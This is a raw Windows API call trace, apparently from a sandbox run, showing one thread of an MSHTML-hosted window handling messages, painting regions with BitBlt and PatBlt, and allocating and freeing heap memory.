GetCurrentThreadId () returned 0xcd8 [0084.921] GetCurrentThreadId () returned 0xcd8 [0084.921] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.922] GetMessageTime () returned 212956 [0084.922] GetMessagePos () returned 0x1c502a2 [0084.922] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0084.922] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0084.922] GetCurrentThreadId () returned 0xcd8 [0084.922] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.922] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x30f3cc | out: plResult=0x30f3cc) returned 0x1 [0084.922] NtdllDefWindowProc_W () returned 0x0 [0084.922] GetCurrentThreadId () returned 0xcd8 [0084.923] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.923] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.923] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.923] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0ec, cPoints=0x1 | out: lpPoints=0x30f0ec) returned 13435063 [0084.923] BeginPaint (in: hWnd=0x60018, lpPaint=0x30f520 | out: lpPaint=0x30f520) returned 0x4010b37 [0084.923] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.923] GetCurrentThreadId () returned 0xcd8 [0084.923] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.923] GetCurrentThreadId () returned 0xcd8 [0084.923] IsRectEmpty (lprc=0x30f528) returned 0 [0084.923] CreateRectRgnIndirect (lprect=0x73507be0) returned 0xd040bf6 [0084.923] GetRandomRgn (hdc=0x4010b37, hrgn=0xd040bf6, i=4) returned 1 [0084.923] OffsetRgn (hrgn=0xd040bf6, x=-183, y=-205) returned 3 [0084.923] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0084.923] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0084.923] IntersectRect (in: lprcDst=0x30f19c, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30f19c) returned 1 [0084.923] IntersectRect (in: lprcDst=0x30f18c, lprcSrc1=0x30f18c, lprcSrc2=0x30f078 | out: lprcDst=0x30f18c) returned 0 [0084.923] IsRectEmpty (lprc=0x30f18c) returned 1 [0084.923] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0084.923] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0084.924] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0084.924] GetDeviceCaps (hdc=0x4010b37, index=14) returned 1 [0084.924] GetDeviceCaps (hdc=0x4010b37, index=12) returned 32 [0084.924] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eb18 [0084.924] CreateCompatibleBitmap (hdc=0x4010b37, cx=1064, cy=150) returned 0x2f0501b7 [0085.038] CreateCompatibleDC (hdc=0x4010b37) returned 0x6010a70 [0085.038] SelectObject (hdc=0x6010a70, h=0x2f0501b7) returned 0x185000f [0085.038] GetCurrentObject (hdc=0x4010b37, type=0x5) returned 0x188000b [0085.038] SelectPalette (hdc=0x6010a70, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0085.183] RealizePalette (hdc=0x6010a70) returned 0x0 [0085.184] GetRegionData (in: hrgn=0xd040bf6, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x60 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0085.184] GetRegionData (in: hrgn=0xd040bf6, nCount=0x60, lpRgnData=0x83c7a0 | out: lpRgnData=0x83c7a0) returned 0x60 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e448 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e490 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e490 | out: hHeap=0x7f0000) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e490 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e4d8 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e4d8 | out: hHeap=0x7f0000) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e490 | out: hHeap=0x7f0000) returned 1 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83e448 | out: hHeap=0x7f0000) returned 1 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0085.184] IntersectRect (in: lprcDst=0x30c7c4, lprcSrc1=0x30c7c4, lprcSrc2=0x30c794 | out: lprcDst=0x30c7c4) returned 1 [0085.184] IntersectRect (in: lprcDst=0x30c6f4, lprcSrc1=0x30c6f4, lprcSrc2=0x30c6c4 | out: lprcDst=0x30c6f4) returned 1 [0085.184] IntersectRect (in: lprcDst=0x30c650, lprcSrc1=0x30c650, lprcSrc2=0x8379b0 | out: lprcDst=0x30c650) returned 0 [0085.184] IntersectRect (in: lprcDst=0x30c728, lprcSrc1=0x30c728, lprcSrc2=0x837990 | out: lprcDst=0x30c728) returned 1 [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840c60 [0085.184] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0085.184] ExtCreateRegion (lpx=0x0, nCount=0x60, lpData=0x83c7a0) returned 0x2e040bff [0085.184] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0085.184] SelectClipRgn (hdc=0x4010b37, hrgn=0x2e040bff) returned 3 [0085.184] IntersectRect (in: lprcDst=0x30c4fc, lprcSrc1=0x30c4fc, lprcSrc2=0x30c4cc | out: lprcDst=0x30c4fc) returned 1 [0085.184] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30c4ec | out: lprcDst=0x8379a0) returned 1 [0085.184] IntersectRect (in: lprcDst=0x30c338, lprcSrc1=0x30c338, lprcSrc2=0x837990 | out: lprcDst=0x30c338) returned 1 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840cc0 [0085.185] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.185] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0085.185] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0085.185] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840d20 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840d20 | out: hHeap=0x7f0000) returned 1 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x54) returned 0x840d20 [0085.185] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x83c7a0 [0085.185] ExtCreateRegion (lpx=0x0, nCount=0x60, lpData=0x83c7a0) returned 0xc040bfa [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83c7a0 | out: hHeap=0x7f0000) returned 1 [0085.185] SelectClipRgn (hdc=0x6010a70, hrgn=0xc040bfa) returned 3 [0085.185] DeleteObject (ho=0xc040bfa) returned 1 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840d20 | out: hHeap=0x7f0000) returned 1 [0085.185] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0085.185] PatBlt (hdc=0x6010a70, x=346, y=0, w=366, h=150, rop=0xf00021) returned 1 [0085.185] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0085.185] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0085.185] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0085.185] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0085.185] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.186] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0085.186] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0085.186] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0085.186] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0085.186] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0085.186] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0085.186] GetStockObject (i=8) returned 0x1b00016 [0085.186] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0085.186] GetROP2 (hdc=0x6010a70) returned 13 [0085.186] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0085.186] Rectangle (hdc=0x6010a70, left=346, top=0, right=713, bottom=151) returned 1 [0085.186] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0085.186] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0085.186] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0085.186] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0085.186] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0085.186] BitBlt (hdc=0x4010b37, x=0, y=105, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0085.186] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840cc0 | out: hHeap=0x7f0000) returned 1 [0085.186] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0085.186] DeleteObject (ho=0x2e040bff) returned 1 [0085.186] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x840c60 | out: hHeap=0x7f0000) returned 1 [0085.186] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0085.186] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0085.187] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0085.187] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0085.187] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0085.187] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0085.187] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x7040b27 [0085.187] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.187] SelectClipRgn (hdc=0x6010a70, hrgn=0x7040b27) returned 2 [0085.187] DeleteObject (ho=0x7040b27) returned 1 [0085.187] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0085.187] PatBlt (hdc=0x6010a70, x=346, y=0, w=366, h=30, rop=0xf00021) returned 1 [0085.187] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0085.187] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0085.187] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.187] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0085.187] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0085.187] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0085.187] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0085.187] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0085.187] GetStockObject (i=8) returned 0x1b00016 [0085.187] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0085.187] GetROP2 (hdc=0x6010a70) returned 13 [0085.187] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0085.187] Rectangle (hdc=0x6010a70, left=346, top=0, right=713, bottom=31) returned 1 [0085.187] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0085.187] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0085.187] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0085.187] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0085.187] BitBlt (hdc=0x4010b37, x=0, y=255, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0085.188] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0085.188] GetStockObject (i=15) returned 0x188000b [0085.188] SelectPalette (hdc=0x4010b37, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0085.188] EndPaint (hWnd=0x60018, lpPaint=0x30f520) returned 1 [0085.188] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0085.188] DeleteObject (ho=0xd040bf6) returned 1 [0085.188] GetCurrentThreadId () returned 0xcd8 [0085.188] GetCurrentThreadId () returned 0xcd8 [0085.188] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.188] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.188] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.188] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.188] GetAncestor (hwnd=0x60018, gaFlags=0x2) returned 0x201e6 [0085.188] IsIconic (hWnd=0x201e6) returned 0 [0085.188] GetCurrentThreadId () returned 0xcd8 [0085.188] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.188] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.188] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.188] GetFocus () returned 0x60018 [0085.188] GetCurrentThreadId () returned 0xcd8 [0085.189] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0085.189] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0085.189] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.189] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0085.189] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0085.190] GetCurrentThreadId () returned 0xcd8 [0085.190] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.190] IsWinEventHookInstalled (event=0x8005) returned 0 [0085.190] GetCurrentThreadId () returned 0xcd8 [0085.190] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0085.190] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0085.190] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.190] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0085.190] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0085.191] GetCurrentThreadId () returned 0xcd8 [0085.191] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.191] IsWinEventHookInstalled (event=0x8005) returned 0 [0085.191] GetCurrentThreadId () returned 0xcd8 [0085.191] GetFocus () returned 0x60018 [0085.191] GetCurrentThreadId () returned 0xcd8 [0085.191] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.191] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.191] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.191] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.191] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.191] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0085.191] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0085.191] PtInRect (lprc=0x30f570, pt=0x1eb) returned 1 [0085.191] GetCurrentThreadId () returned 0xcd8 [0085.191] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.191] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0085.192] GetMessageTime () returned 213315 [0085.192] GetMessagePos () returned 0x1c502a2 [0085.192] GetCapture () returned 0x0 [0085.192] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0085.192] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.192] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0085.192] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0085.192] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.192] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0085.192] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0085.192] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0085.192] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0085.192] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0085.192] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.192] SetTimer (hWnd=0x60132, nIDEvent=0x2001, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2001 [0085.193] PtInRect (lprc=0x30f348, pt=0x1eb) returned 1 [0085.193] PtInRect (lprc=0x30f1ec, pt=0xbf36) returned 1 [0085.193] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0085.193] GetCursor () returned 0x10003 [0085.193] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.193] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.193] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.193] GetMessageTime () returned 213300 [0085.193] GetMessagePos () returned 0x1c502a2 [0085.193] GetCapture () returned 0x0 [0085.193] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0085.193] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.193] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0085.193] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0085.193] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0085.193] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.193] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0085.194] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0085.194] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0085.194] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0085.194] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0085.194] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0085.194] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0085.194] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0085.194] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0085.194] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0085.194] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ab90 [0085.194] GetCurrentThreadId () returned 0xcd8 [0085.194] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.194] PtInRect (lprc=0x30f3d0, pt=0x1eb) returned 1 [0085.194] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xf801eb, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0085.194] NtdllDefWindowProc_W () returned 0x0 [0085.194] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ab90 | out: hHeap=0x7f0000) returned 1 [0085.195] GetMessageTime () returned 213300 [0085.195] GetMessagePos () returned 0x1c502a2 [0085.195] GetCapture () returned 0x0 [0085.195] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0085.195] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ab90 [0085.195] GetCurrentThreadId () returned 0xcd8 [0085.195] HeapFree (in: hHeap=0x7f0000, 